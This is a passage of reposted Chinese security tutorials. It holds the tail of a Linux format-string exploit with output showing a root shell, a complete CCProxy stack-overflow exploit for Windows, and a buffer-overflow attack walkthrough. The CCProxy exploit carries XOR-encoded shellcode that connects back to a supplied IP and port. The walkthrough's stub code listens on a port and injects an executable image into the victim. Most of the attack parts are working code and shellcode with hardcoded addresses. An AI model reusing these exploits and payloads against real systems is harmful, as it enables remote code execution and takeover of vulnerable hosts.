buffer[19]=((want_write_addr3)>>24) & 0xff;
/*
        pad+5 */
buffer[20]=((want_write_addr3+2)) &
        0xff;
buffer[21]=((want_write_addr3+2)>>8) &
        0xff;
buffer[22]=((want_write_addr3+2)>>16) &
        0xff;
buffer[23]=((want_write_addr3+2)>>24) &
        0xff;
/* pad+6 */
buffer[24]=((want_write_addr4))
        & 0xff;
buffer[25]=((want_write_addr4)>>8) &
        0xff;
buffer[26]=((want_write_addr4)>>16) &
        0xff;
buffer[27]=((want_write_addr4)>>24) & 0xff;
/*
        pad+7 */
buffer[28]=((want_write_addr4+2)) &
        0xff;
buffer[29]=((want_write_addr4+2)>>8) &
        0xff;
buffer[30]=((want_write_addr4+2)>>16) &
        0xff;
buffer[31]=((want_write_addr4+2)>>24) &
        0xff;
j=4*8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",
num1-j,pad+3,pad+5,num2-num1,pad+1,num3-num2,pad+2,pad+4,num4-num3,pad,num5-num4,pad+7,num6-num5,pad+6);
j++;
j+=sprintf(buffer+j,"%s",shellcode);
while(1)
{
if(i%16==0)
{
printf("\r\n%p:
        ",buffer+i);
}
printf("%3.2x",buffer &
        0xff);
//break;
if((buffer=='\x31') &&
        (buffer[i+1]=='\xdb') &&
        (buffer[i+2]=='\x89'))
{
printf("\r\nGot
        it,distance:%d\r\n",i);
break;
}
i++;
}
buffer[j++]=0;
if(j>=1024)
        {printf("please realloc buffer to %d\n",j+1);exit(0);}
/* write to file
        */
if((fd=open(file,O_CREAT|O_RDWR|O_TRUNC,0777))<0)
{
perror("write
        to file
        error");
exit(0);
}
write(fd,buffer,200);
close(fd);
printf("ok,write
        down\n");
}
运行一下:
[bkbll@mobile fmtxp_lib]$ gcc -o x5 x5.c
[bkbll@mobile fmtxp_lib]$ ./x5
num1:0x804,num2:0x4207,num3:0x9680,num4:0x9da0,num5:0xbfff,num6:0xf71f
shellcode addr:0xbffff71f
0xbffffa10: ac f6 ff bf ae f6 ff bf b0 f6 ff bf b2 f6 ff bf
0xbffffa20: b4 f6 ff bf b6 f6 ff bf b8 f6 ff bf ba f6 ff bf
0xbffffa30: 25 32 30 32 30 70 25 31 35 24 68 6e 25 31 37 24
0xbffffa40: 68 6e 25 31 34 38 35 31 70 25 31 33 24 68 6e 25
0xbffffa50: 32 31 36 32 35 70 25 31 34 24 68 6e 25 31 36 24
0xbffffa60: 68 6e 25 31 38 32 34 70 25 31 32 24 68 6e 25 38
0xbffffa70: 37 39 39 70 25 31 39 24 68 6e 25 31 34 31 31 32
0xbffffa80: 70 25 31 38 24 68 6e 00 31
Got it,distance:120
ok,write down
/* 这个时候距离是120 */
[bkbll@mobile fmtxp_lib]$ ./x5 120
num1:0x804,num2:0x4207,num3:0x9680,num4:0x9da0,num5:0xbfff,num6:0xf738
shellcode addr:0xbffff738
0xbffffa00: ac f6 ff bf ae f6 ff bf b0 f6 ff bf b2 f6 ff bf
0xbffffa10: b4 f6 ff bf b6 f6 ff bf b8 f6 ff bf ba f6 ff bf
0xbffffa20: 25 32 30 32 30 70 25 31 35 24 68 6e 25 31 37 24
0xbffffa30: 68 6e 25 31 34 38 35 31 70 25 31 33 24 68 6e 25
0xbffffa40: 32 31 36 32 35 70 25 31 34 24 68 6e 25 31 36 24
0xbffffa50: 68 6e 25 31 38 32 34 70 25 31 32 24 68 6e 25 38
0xbffffa60: 37 39 39 70 25 31 39 24 68 6e 25 31 34 31 33 37
0xbffffa70: 70 25 31 38 24 68 6e 00 31
Got it,distance:120
ok,write down
[bkbll@mobile fmtxp_lib]$
测试一下:
[bkbll@mobile fmtxp_lib]$./vuln 5
/* some extra codes */
sh-2.05b# id
uid=0(root) gid=500(bkbll) groups=500(bkbll)
sh-2.05b#
同样可以成功..
说明:上述代码只是给出了思路, 但环境有限, 代码调试并没有在non-exec stack system中运行过. 具体成功与否,还需要您来信告诉我:)


[转载]CCProxy Log Stack Overflow 漏洞浅析

文章作者：cocoruder@163.com
最近忙找工作郁闷到了，第一次写溢出漏洞分析，高手就省略吧，想借地方请教高手们一般如何挖掘溢出，偶写个Exploit就这么郁闷，真难以想象。
言归正传，这个漏洞发生在CCProxy写Web日志的时候，在日志内容格式化输出的时候没有检查日志内容的长度,而日志内容是由我们访问者提交的因而导致堆栈溢出，下面是有问题的代码。
.text:0040B14E push edx
.text:0040B14F push eax
.text:0040B150 lea ecx, [esp+28h+arg_528]
.text:0040B157 push offset a04d02d02d02d02 ; "%04d-%02d-%02d %02d:%02d:%02d"
.text:0040B15C push ecx
.text:0040B15D call _sprintf
.text:0040B162 lea edx, [esp+30h+arg_528]
.text:0040B169 push ebx
.text:0040B16A push edx
.text:0040B16B lea eax, [esp+38h+wParam]
.text:0040B172 push offset aSS ; "[%s] %s" ;格式化字符
.text:0040B177 push eax ;目标缓冲区A
.text:0040B178 call _sprintf ;问题函数未做任何检查直接拷贝
.text:0040B17D add esp, 30h
.text:0040B180 push offset CriticalSection ; lpCriticalSection
.text:0040B185 call ds:EnterCriticalSection
.text:0040B18B call ?AfxGetThread@@YGPAVCWinThread@@XZ ; AfxGetThread
初步分析在要执行_sprintf函数时堆栈的情况如下
esp ;目标缓冲区A---日志内容
esp+0x4 ;"[%s] %s"
esp+0x8 ;日期-时间字符串地址
esp+0xc ;"访问者IP"+" unknown Web"
;比如我的IP是127.0.0.1就是
;Point to "127.0.0.1 unknown Web"
esp+0x10 ;和esp+0x8一样?
esp+0x14 ;Point to "%04d-%02d-%02d %02d:%02d:%02d"
esp+0x18 ;年
esp+0x1c ;月
esp+0x20 ;日
esp+0x24 ;时
esp+0x28 ;分
esp+0x2c ;秒
_sprintf函数执行后向[esp]中写入
[2004-11-02 16:47:36] 127.0.0.1 unknown Web GET /AAAAAAAAAAAAA....
之类的内容，其中GET /AAAAAAAAAAAAAAAAAA是我们提交的数据,可见长度与访问者
IP长度有关
经分析以上代码属于sub_40B020函数，sub_40b020函数的返回地址-目标缓冲区A=0x1004
下面计算覆盖返回地址填充的长度(设为OverLen),设IP长度为IPLen
strlen("[2004-11-02 16:47:36] ")+IPLen+strlen(" unknown Web ")+OverLen=0x1004
==>
OverLen=4065-IPLen

由此可写出Exploit,下面是偶从网上copy改了下的:)
在Win2000 Server sp4 CN上测试通过
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32")

unsigned char EndChar[]=
"x20x48x54x54x50x2Fx31x2Ex30x0Dx0Ax0Dx0A";
//结束标志 HTTP/1.0
unsigned char shellcode[] =
"xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05"
"xe8xedxffxffxff"
/* 254 bytes shellcode, xor with 0xee */
/*
        offset 92=IP offset
        99=PORT*/
"x07x36xeexeexeexb1x8ax4fxdexeexeexeex65xaexe2x65"
"x9exf2x43x65x86xe6x65x19x84xeaxb7x06x96xeexeexee"
"x0cx17x86xddxdcxeexeex86x99x9dxdcxb1xbax11xf8x7b"
"x84xedxb7x06x8exeexeexeex0cx17xbfxbfxbfxbfx84xef"
"x84xecx11xb8xfex7dx86x91xeexeexefx86xecxeexeexdb"
"x65x02x84xfexbbxbdx11xb8xfax6bx2ex9bxd6x65x12x84"
"xfcxb7x45x0cx13x88x29xaaxcaxd2xefxefx7dx45x45x45"
"x65x12x86x8dx83x8axeex65x02xbex63xa9xfexb9xbexbf"
"xbfxbfx84xefxbfxbfxbbxbfx11xb8xeax84x11x11xd9x11"
"xb8xe2x11xb8xf6x11xb8xe6xbfxb8x65x9bxd2x65x9axc0"
"x96xedx1bxb8x65x98xcexedx1bxddx27xa7xafx43xedx2b"
"xddx35xe1x50xfexd4x38x9axe6x2fx25xe3xedx34xaex05"
"x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88x65xe2xa5x65"
"xb0xf2xedx33x65xeax65xedx2bx45xb0xb7x2dx06xcdx11"
"x11x11x60xa0xe0x02x9cx10x5dxf8x01x20x0ex8ex43x37"
"xebx20x37xe7x1bx43x02x17x44x8ex09x97x28x97";
/*
整个构造好的溢出串如下：
+------------------------------------------------------------------------------+
|前导字符|inc edx...inc edx|shellcode|0x7ffa54cd|跳转指令|结束字符|
+------------------------------------------------------------------------------+
前导字符长度+0x42个数+shellcode长度+IPLen(本地IP字符串长度)=4065
跳转指令:
mov ecx,0x12811111
shr ecx,0x14
sub esp,ecx
jmp esp
我刚写的时候出了几个问题，写出来希望对大家有帮助
1.前导字符和结束字符一定要准确无误，不然会被认为是未知连接请求
2.真正写的时候可适当放大ecx的值使之跳转到inc edx里面
*/
void start(void)
{
printf("CCProxy Log
        Stack Overflow Exploit!n");
printf("written by Ruder
        11/2004n");
printf("Bug found by Isno,See
        xfocus.comn");
printf("Homepage:http://ruder.cdut.netn");
printf("E-mail:cocoruder@163.comn");
}
int main(int argc, char *argv[])
{
WSADATA wsd;
SOCKET sClient;
int ret, i,tmp;
struct
        sockaddr_in server,local;
struct hostent *host = NULL;
int
        IPLen;
int a;
char buff[4096] = {0};
char *IPStr;
u_short
        tmp1;
char *PORTStr;
start();
if(argc != 5)
{
printf("usage: %s target
        port backIP backPortn", argv[0]);
exit(1);
}
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock library!n");
return 1;
}
sClient = socket(AF_INET, SOCK_STREAM,
        IPPROTO_IP);
if (sClient == INVALID_SOCKET)
{
printf("socket() failed: %dn", WSAGetLastError());
return 1;
}
//更新shellcode返回地址,端口
tmp=inet_addr(argv[3]);
a=(DWORD)&tmp; //地址
IPStr=(char*)a;
shellcode[92]=IPStr[0]^0xee;
        //IP
shellcode[93]=IPStr[1]^0xee;
shellcode[94]=IPStr[2]^0xee;
shellcode[95]=IPStr[3]^0xee;
tmp1=htons((u_short)atoi(argv[4]));
a=(DWORD)&tmp1;
PORTStr=(char*)a;
shellcode[99]=PORTStr[0]^0xee;
        //PORT
shellcode[100]=PORTStr[1]^0xee;
server.sin_family = AF_INET;
server.sin_port = htons((u_short)atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if
        (server.sin_addr.s_addr == INADDR_NONE)
{
host =
        gethostbyname(argv[1]);
if (host == NULL)
{
printf("Unable
        to resolve server: %sn", argv[1]);
return 1;
}
CopyMemory(&server.sin_addr, host->h_addr_list[0],
        host->h_length);
}
//连接到目标主机
if (connect(sClient, (struct
        sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
{
printf("connect() failed: %dn", WSAGetLastError());
return 1;
}
//下面开始构造溢出串
a=sizeof(sockaddr_in);
//本地IP字符串长度
if (getsockname(sClient,(struct
        sockaddr
        *)&local,&a)==SOCKET_ERROR)
{
printf("getsockname()
        failed: %dn", WSAGetLastError());
return 1;
}
IPLen=strlen(inet_ntoa(local.sin_addr));

//前导字符
buff[0]=0x47;
buff[1]=0x45;
buff[2]=0x54;
buff[3]=0x20;
buff[4]=0x2F;
//填充INC
        EDX
//计算填充0x42的个数
tmp=4065-sizeof(shellcode)-5-IPLen+1;
for(i=5;i<tmp+5;i++)
{
buff=0x42;
}
CopyMemory(&buff,shellcode,sizeof(shellcode));
i=i+sizeof(shellcode)-1;
buff=0xCD;
buff[i+1]=0x54;
buff[i+2]=0xFA;
buff[i+3]=0x7F;
i=i+4;
//跳转指令
buff[i++]=0xB9;
buff[i++]=0x11;
buff[i++]=0x11;
buff[i++]=0x81;
buff[i++]=0x12;
buff[i++]=0xC1;
buff[i++]=0xE9;
buff[i++]=0x14;
buff[i++]=0x2B;
buff[i++]=0xE1;
buff[i++]=0xFF;
buff[i++]=0xE4;
//结束字符
CopyMemory(&buff,EndChar,sizeof(EndChar));
i=i+sizeof(EndChar);
ret=send(sClient,buff,i-1,0);
printf("send... buffer ok!good luck!n");
closesocket(sClient);
WSACleanup();
return 0;
}


[转载]缓冲区溢出攻击
文章作者: LocalVar
很久以来，在人们心目中，“黑客”和病毒作者的身上总是笼罩着一层神秘的光环，他们被各种媒体描述成技术高手甚至技术天才，以至于有些人为了证明自己的“天才”身份而走上歧途，甚至违法犯罪。记得不久前就看到过这样一个案例：一位计算机专业研究生入侵了一家商业网站并删除了所有数据。当他在狱中接受记者的采访时，他非常自豪地说这样做只是为了证明自己和获得那种成就感。

本文讨论的缓冲区溢出攻击实际上是一项非常“古老”的技术，但它的破坏力依然不可小视——相信大家都还没有忘记几个月之前的“冲击波”。文中的代码实例几乎就是一个真实的病毒了，其中的一些技术你可能没有见过，但我可以很负责任的说它没有使用任何高深的技术，我没有进ring0，没有写设备驱动，甚至连汇编代码也只用了非常简单的11句。我希望此文能让大家重新认识一下“黑客”和病毒作者，把他们从神坛上“拉”下来。我更要提醒大家把那位“研究生”作为前车之鉴，不要滥用这项技术，否则必将玩火自焚。下面就进入正题。
什么是缓冲区溢出
你一定用strcpy拷贝过字符串吧？那，如果拷贝时目的字符串的缓冲区的长度小于源字符串的长度，会发生什么呢？对，源字符串中多余的字符会覆盖掉进程的其它数据。这种现象就叫缓冲区溢出。根据被覆盖数据的位置的不同，缓冲区溢出分为静态存储区溢出、栈溢出和堆溢出三种。而发生溢出后，进程可能的表现也有三种：一是运行正常，这时，被覆盖的是无用数据，并且没有发生访问违例；二是运行出错，包括输出错误和非法操作等；第三种就是受到攻击，程序开始执行有害代码，此时，哪些数据被覆盖和用什么数据来覆盖都是攻击者精心设计的。
一般情况下，静态存储区和堆上的缓冲区溢出漏洞不大可能被攻击者利用。而栈上的漏洞则具有极大的危险性，所以我们的讲解也以栈上的缓冲区溢出为例。
攻击原理
要进行攻击，先得找到靶子。所以我就准备了一个叫做“victim”的程序作为被攻击对象，它在逻辑上等价于下面的代码：

void GetComputerName(SOCKET sck, LPSTR szComputer)
{
char szBuf[512];
recv(sck, szBuf, sizeof(szBuf), 0);
LPSTR szFileName = szBuf;
while((*szFileName) == '\\')
szFileName++;
while((*szFileName) != '\\' && (*szFileName) != '\0')
{

szComputer = *szFileName;

szComputer++;
szFileName++;
}
*szComputer = '\0';
}

void ShowComputerName(SOCKET sck)
{
char szComputer[16];
GetComputerName(sck, szComputer);
// mov ecx,dword ptr <a href="esp+4">esp+4
// sub esp,10h; ———2
// lea eax,<a href="esp">esp
// push eax
// push ecx
// call GetComputerName (401000h)
printf(szComputer);
// lea edx,<a href="esp">esp
// push edx
// call printf (401103h)
}
// add esp,14h
// ret 4; ———3

int __cdecl main(int argc, char* argv[])
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
struct sockaddr_in saServer;
saServer.sin_family = AF_INET;
saServer.sin_port = 0xA05B; //htons(23456)
saServer.sin_addr.s_addr=ADDR_ANY;
SOCKET sckListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
bind(sckListen, (sockaddr *)&saServer, sizeof(saServer));
listen(sckListen, 2);
SOCKET sckClient = accept(sckListen, NULL, NULL);// ———1
ShowComputerName(sckClient);
closesocket(sckClient);
closesocket(sckListen);
WSACleanup();
return 0;
}

victim程序的本意是从网络上接收一个UNC（Universal Naming
Convention）形式的文件名，然后从中分离出机器名并打印在屏幕上。由于正常情况下，机器名最多只有16个字节，所以ShowComputerName函数也只给szComputer分配了16个字节长的缓冲区，并且GetComputerName也没有对缓冲区的长度做任何检查。这样，ShowComputerName中就出现了一个缓冲区溢出漏洞。
找到了漏洞，下一步要做的就是分析漏洞来找到具体的攻击方法。我们来看一下ShowComputerName的编译结果，每条c/c++语句下面注释中就是其编译后对应的汇编代码。对这些代码，我要说明两点：1这里使用的是stdcall调用约定，它是windows程序中最常用的调用约定，下文中的示例代码如果没有特别说明都将使用这种约定。有关各种调用约定的含义和区别，请参考相关资料。2因编译器、编译选项的不同，编译结果也可能不一样，后面的攻击代码是根据上面的编译结果编写的，我无法保证它在你的环境中也能正确执行。
我在程序中标注了三个标号，下图从左至右分别是程序执行完三个标号对应的代码后堆栈的状态及esp寄存器的指向，其中每个小格代表一个字，即四字节。
从图中可以看出，当main调用ShowComputerName时，程序会首先将它的参数压栈，然后再将其执行完毕后的返回地址压栈。进入ShowComputerName后，程序再调整esp寄存器，为局部变量分配存储空间。而ShowComputerName返回时执行的“ret
4”指令不仅让程序跳转到返回地址继续运行，还会将返回地址、函数参数从栈中弹出，使栈恢复到调用前的状态。
很明显，如果UNC字符串中的机器名超过了16字节，函数ShowComputerName就会发生缓冲区溢出。为了讲解方便，下面我就开始从攻击者的角度来分析如何构造这个字符串才能让程序执行一些“意外”的代码。
你可能已经发现：函数ShowComputerName的返回地址就存放在“szComputer+16”处。所以，如果我们能把返回地址改成“szComputer+20”，并从地址“szComputer+20”开始填上一些我们需要的指令对应的数据，那么我们就能达到目的了。很高兴你能想到这些，但这是不可能的，因为我们既要根据szComputer来构造字符串，又要在szComputer确定前完成构造完字符串。所以，此路不通，我们必须拐个弯才行。
如果你还注意到cpu执行完“ret
4”指令后，esp指向“szComputer+24”处，那么你已经看到该在哪拐弯了。绝大多数情况下，我们能在进程的地址空间中找到一条拥有固定地址“jmp
esp”指令，我们只需在“szComputer+16”处填上这条指令的地址，然后再从“szComputer+24”开始填入攻击指令就可以了。这样，ShowComputerName返回时，cpu执行“ret
4”指令，再执行“jmp esp”指令，控制权就转移到我们手里了。怎么样？很简单吧！
不过你还不要高兴得太早，上面所说的只是缓冲区溢出攻击的基本原理。而理论与实际永远是有一段距离的。要真正完成攻击，我们还有好几个棘手的问题需要解决。
首先是是如何处理一些不允许出现在字符串中的字符。在上面的代码中，如果我们构造的字符串的某个字节是0或者“\”，GetComputerName就会拒绝拷贝后面的数据，所以在我们的“计算机名”中不能有任何一个字节是0或“\”。“\”可能还好说一点，但一段“真正能做点事情”的代码不包括0几乎是不可能的。怎么解决这个矛盾呢？最简单的方法是异或。先写好真正的代码并编译得到结果，我称它为stubcode。然后找一个数字n，要求10≤n≤255；2n是允许出现在字符串中的字符；3n与stubcode的任何一个字节异或后都是允许出现的字符。用n与stubcode逐字节进行异或，得到异或结果。很明显，要找到这样一个n，stubcode就不能太长，只是做一些简单的准备工作，然后加载后续代码完成更多的工作，这也是我把它称为stubcode的原因。其实stubcode代码也需要一个stubcode，我们就把它称为stubstubcode吧，它的任务是用n与异或结果再逐字节异或一次来恢复stubcode的原貌，然后把控制权交给stubcode。stubstubcode非常短，只有20个字节左右，通过精心设计就可能避免在其中出现不允许的字符。
由于前面的分析已经证明不可能在我们构造的字符串中放上一条“jmp esp”，并修改返回地址指向它，所以第二个难题就是到哪去找“jmp
esp”指令了。你可能认为进程自身是首选，因为exe文件具有固定的装入地址，只要它包含这条指令，那么指令的地址就是确定的。但我不得不遗憾的告诉你，又错了。虽然exe的装入地址不会变，但这个地址一般较低，因而找到的“jmp
esp”的地址的高字节肯定是0，它不是stubcode，我们没办法对它进行异或处理。如果你看过拙作《nt环境下进程隐藏的实现》，你肯定知道基本上每个进程都会加载kernel32.dll，且它的装入地址在同一操作系统平台上是固定的。而另一个重要事实是它的装入地址足够高，能够满足不含0字节这一要求。所以我们应该到kernel32.dll中去找。但是非常不幸，在我的winxp
+ sp1系统中，偌大的一个kernel32.dll，竟然没有一个“jmp
esp”指令的藏身之地（我没有在其他系统上作过尝试，各位读者如有兴趣可以自己试一下）。我只好退而求其次，到user32.dll中去找了，它在系统中拥有仅次于kernel32.dll的地位。最终，我在地址0x77D437DB处发现了“jmp
esp”的身影。
第三个问题是如何在stubcode中调用API。《进程隐藏》一文中对此也有讨论，但情况与现在有一些不同，因为stubcode中没有现成的输入表，所以我们需要自己制作一个小的“输入表”作为stubcode的参数写到UNC字符串中，stubcode还需要其他一些参数，我把这些参数统称为stubparam。而把stubstubcode、stubparam、stubcode以及其它数据合起来构成的UNC字符串称为stub。当然，对stubparam也需要做异或处理以避免在其中出现非法字符。
stubcode中也不能有直接寻址指令，原因很明显，解决办法也很简单（不让用就不用了J），我就不再多说了。
攻击实例
我们的攻击程序名叫“attacker”，攻击成功后，它将使victim进程弹出下面的消息框。
attacker供给的第一步是把stub（也就是UNC字符串）发送给victim，所以我们就先来看一下stub的构成，如下图所示：
其中，填充数据1用来填充返回地址前的所有内容，本例就是szComputer占用的空间；返回地址就是“jmp
esp”指令的地址；填充数据2用来填充返回地址和stubstubcode之间的内容，本例是参数sck占用的空间；stubstubcode、stubparam和stubcode前面已经讲过；填充数据3则用于将stub打扮成正常字符串的样子，例如，补上结尾处的0字符等。
为了使用更方便，我定义了几个结构来表示整个stub。你可以看到，它们被“#pragma
pack”编译指令固定为一字节对齐，这很重要，因为它可以：1减小stub的大小。栈上可供使用的空间不多，所以stub越小越好；2阻止编译器插入用于对齐的额外字节。如果编译器在STUBSTUBCODE或STUB中插入了额外的字节，我们的一切努力都将付之东流。

pragma pack(push)

pragma pack(1)
struct STUBSTUBCODE
{
BYTE arrConst1[4]; //0x33, 0xC9, 0x66, 0xB9
WORD wXorSize; //需要进行异或处理的数据的大小
BYTE arrConst2[3]; //0x8D, 0x74, 0x24
BYTE byXorOffset; //需要进行异或处理的代码的起始位置(相对于esp的偏移)
BYTE arrConst3[4]; //0x56, 0x8A, 0x06, 0x34
BYTE byXorMask; //使用此数字进行异或
BYTE arrConst4[8]; //0x88, 0x06, 0x46, 0xE2, 0xF7, 0x8D, 0x44, 0x24
BYTE byEntryOffset; //STUBCODE代码的入口地址(相对于esp的偏移)
BYTE arrConst5[2]; //0xFF, 0xD0
};

struct STUBPARAM
{
FxLoadLibrary fnLoadLibrary;
FxGetProcAddr fnGetProcAddr;
FxVirtualAlloc fnVirtualAlloc;
DWORD dwImageSize;
DWORD rvaAttackerEntry;
char szWs2_32[11]; //ws2_32.dll
char szSocket[7]; //socket
char szBind[5]; //bind
char szListen[7]; //listen
char szAccept[7]; //accept
char szSend[5]; //send
char szRecv[5]; //recv
};

struct STUB
{
BYTE arrPadding1[18];
DWORD dwJmpEsp;
BYTE arrPadding2[4];
STUBSTUBCODE ssc;
STUBPARAM sp;
BYTE arrStubCode[1]; //实际上，这是一个变长数组
};
pragma pack(pop)
STUBSTUBCODE对应的就是本文开头提到的11条汇编语句。参照stub的整体结构，我们不难写出它的具体实现。

xor ecx, ecx
mov cx, wXorSize; wXorSize是要进行异或处理的数据的大小
lea esi, <a href="esp+ byXorOffset">esp+ byXorOffset;
byXorOffset是需要进行异或处理的代码的起始位置
push esi
xormask: mov al, <a href="esi">esi
xor al, byXorMask; 使用byXorMask进行异或
mov <a href="esi">esi, al
inc esi
loop xormask
lea eax, <a href="esp + byEntryOffset">esp + byEntryOffset;
byEntryOffset 是StubCode的入口地址
call eax

其中的几个变量实际上要用常数替代，wXorSize是要进行异或处理的数据的大小，也就是stubparam和stubcode的大小的和；byXorOffset是这些数据的起始位置相对于esp寄存器的偏移，从结构图中可以看出它等于“sizeof(STUBSTUBCODE)”，同时，它加上esp后就是STUBPARAM的地址，我们要把这个地址传给stubcode，所以立即把它压进了栈中，具体请见下面的相关内容；byXorMask是异或掩码，也就是前面提到的数字n；byEntryOffset是stubcode的入口相对于esp寄存器的偏移，它等于“sizeof(STUBSTUBCODE)+
sizeof(STUBPARAM)+4”，多加一个4是因为前面又向栈里压了一个数。这段代码的前两句没用更直接的“mov ecx,
wXorSize”则是为了避免出现0字符。
把代码和结构体对比一下，看明白了吧!结构体中的几个数组对应的是汇编代码中固定不变的部分，变量则是需要经常修改的部分。这种定义让我们有机会动态修改stubstubcode，减少手工的代码维护工作。
STUBPARAM定义的是要传递给stubcode的参数，它比较简单，相信你看完后面对stubcode的介绍，就能明白各成员的含义和作用了。其中所有以“Fx”为前缀的数据类型都是其相应函数的指针类型，后文还会遇到。
在STUB中，我给了第一个填充数组18字节的空间，多出来的两字节用来存储UNC字符串中打头的“\\”，本例中这并不是必须的。而arrStubCode虽然看上去只有一字节长，却是一个变长数组，保存的是结构图中的stubcode和填充数据3。
下面我们就进入stub的最后一部分，也是最重要的一部分：stubcode，代码如下。

void WINAPI StubCode(STUBPARAM* psp)
{
HINSTANCE hWs2_32 = psp->fnLoadLibrary(psp->szWs2_32);
FxGetProcAddr fnGetProcAddr = psp->fnGetProcAddr;
Fxsocket fnsocket = (Fxsocket)fnGetProcAddr(hWs2_32, psp->szSocket);
Fxbind fnbind = (Fxbind)fnGetProcAddr(hWs2_32, psp->szBind);
Fxlisten fnlisten = (Fxlisten)fnGetProcAddr(hWs2_32, psp->szListen);
Fxaccept fnaccept = (Fxaccept)fnGetProcAddr(hWs2_32, psp->szAccept);
Fxsend fnsend = (Fxsend)fnGetProcAddr(hWs2_32, psp->szSend);
Fxrecv fnrecv = (Fxrecv)fnGetProcAddr(hWs2_32, psp->szRecv);

BYTE* buf = (BYTE*)psp->fnVirtualAlloc(NULL, psp->dwImageSize,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SOCKET sckListen = fnsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in saServer;
saServer.sin_family = AF_INET;
saServer.sin_port = 0x3930; //htons(12345)
saServer.sin_addr.s_addr = ADDR_ANY;
fnbind(sckListen, (sockaddr *)&saServer, sizeof(saServer));
fnlisten(sckListen, 2);
SOCKET sckClient = fnaccept(sckListen, NULL, 0);

fnsend(sckClient, (const char*)(&buf), 4, 0);
DWORD dwBytesRecv = 0;
BYTE* pos = buf;
while(dwBytesRecv < psp->dwImageSize)
{
dwBytesRecv += fnrecv(sckClient, (char*)pos, 1024, 0);
pos = buf + dwBytesRecv;
}

FxAttackerEntry fnAttackerEntry = (FxAttackerEntry)(buf +
psp->rvaAttackerEntry);
fnAttackerEntry(buf, psp->fnLoadLibrary, psp->fnGetProcAddr);
}

void StubCodeEnd(){} //this function marks the end of stubcode

stubcode先用LoadLibrary得到ws2_32.dll的句柄，然后通过GetProcAddress获得几个API函数的入口地址。接着它用VirtualAlloc分配了dwImageSize大小的内存，这块内存有什么用呢？原来，同《进程隐藏》一样，我们要向victim进程中注入另一个PE文件——其实就是attacker自己——的映像，所以，这块内存就是保存映像的空间，而dwImageSize也就是这个映像的大小。之后它开始在12345端口上侦听，直到接到attacker连接请求。
与attacker建立连接后，StubCode会立即将刚才分配的内存的起始地址发过去，attacker要根据这个地址对自身的一个拷贝进行重定位，然后将它发回StubCode。StubCode则把这个拷贝接收到刚才分配的内存中去。Attacker还有另外一个函数“AttackerEntry”，rvaAttackerEntry就是这个函数与attacker的装入地址的距离。通过这个距离，StubCode就可以在attacker的拷贝中找到AttackerEntry的入口，从而把控制权转交给它。至此，StubCode就完成了自己的使命。
代码中使用LoadLibrary和GetProcAddress方式你不陌生吧？如果真的看不明白，请读一下《进程隐藏》。VirtualAlloc也位于kernel32.dll，所以我就照方抓药了。
上面的代码里还有一个空函数“StubCodeEnd”，虽然表面上什么也没做，但它却有一个非常重要的任务：我要用它来计算StubCode这个函数占了多少内存，并据此计算出整个stub的大小。用下面的方法就行了：
int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));
我没有从官方资料上找到可以这么做的依据，但在我的环境中，它确实工作的很好！
有了stub，我们还需要一些代码对其进行填充并注入到victim中去。注入过程只是简单的网络通讯，就不讲了，单看数据填充。

BOOL PrepareStub(STUB* pStub)
{
//copy const data
memcpy(pStub, &g_stub, sizeof(STUB));
//prepare stub code param
pStub->dwJmpEsp = 0x77D437DB; //这几个地址适用于
pStub->sp.fnLoadLibrary = 0x77E5D961; //victim程序运行在
pStub->sp.fnGetProcAddr = 0x77E5B332; //winxp pro + sp1 系统上
pStub->sp.fnVirtualAlloc = 0x77E5AC72; //的情况
pStub->sp.dwImageSize = GetImageSize((LPCBYTE)g_hInst);
pStub->sp.rvaAttackerEntry = ((DWORD)AttackerEntry) -
((DWORD)g_hInst);

//copy stub code
int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));
memcpy(pStub->arrStubCode, StubCode, nStubCodeSize);

//find xor mask
int nXorSize = (int)(sizeof(STUBPARAM) + nStubCodeSize);
LPBYTE pTmp = (LPBYTE)(&(pStub->sp));
BYTE byXorMask = GetXorMask(pTmp, nXorSize, (LPCBYTE)g_arrDisallow,
sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0]));
if(byXorMask == g_arrDisallow[0])
return FALSE;
//xor it
for(int i=0; i

(pTmp+i) ^= byXorMask;
//fill stubstubcode
pStub->ssc.wXorSize = (WORD)nXorSize;
pStub->ssc.byXorMask = byXorMask;

//Does the stubstubcode contains a disallowed char?
pTmp = (LPBYTE)(&(pStub->ssc));
for(i=0; i
for(int j=0; j
if(*pTmp == g_arrDisallow<a href="j">j)
return FALSE;
//make it an "valid" file name the victim wants
strcpy((char*)(&(pStub->arrStubCode<a
href="nStubCodeSize">nStubCodeSize)), g_szStubTail);
return TRUE;
}

其中，pStub指向一块事先分配的内存区，其大小是计算好的，绝对不会超支（我们是干这行的，肯定得先把自身的问题解决好J）；g_stub是一个STUB类型的全局变量，保存了stub中固定不变的数据；g_hInst是attacker的进程的句柄，以它为参数调用GetImageSize就能得到attacker的内存映像的大小；g_arrDisallow是一个字符数组，里面是所有不允许出现的字符。
GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码，代码如下：

BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int
nCount)
{
BYTE arrUsage[256], by = 0;
memset(arrUsage, 0, sizeof(arrUsage));
for(int i=0; i
arrUsage<a href="*(pData + i)">*(pData + i) = 1;
for(i=0; i<256; i++)
{
by = (BYTE)i;
//xor mask can not be a disallowed char
for(int j=0; j
if(arrDisallow<a href="j">j == by)
break;
if(j < nCount)
continue;
//after xor, the data should not contain a disallowed char
for(j=0; j
if(arrUsage<a href="arrDisallow[j">arrDisallow[j ^ by] == 1)
break;
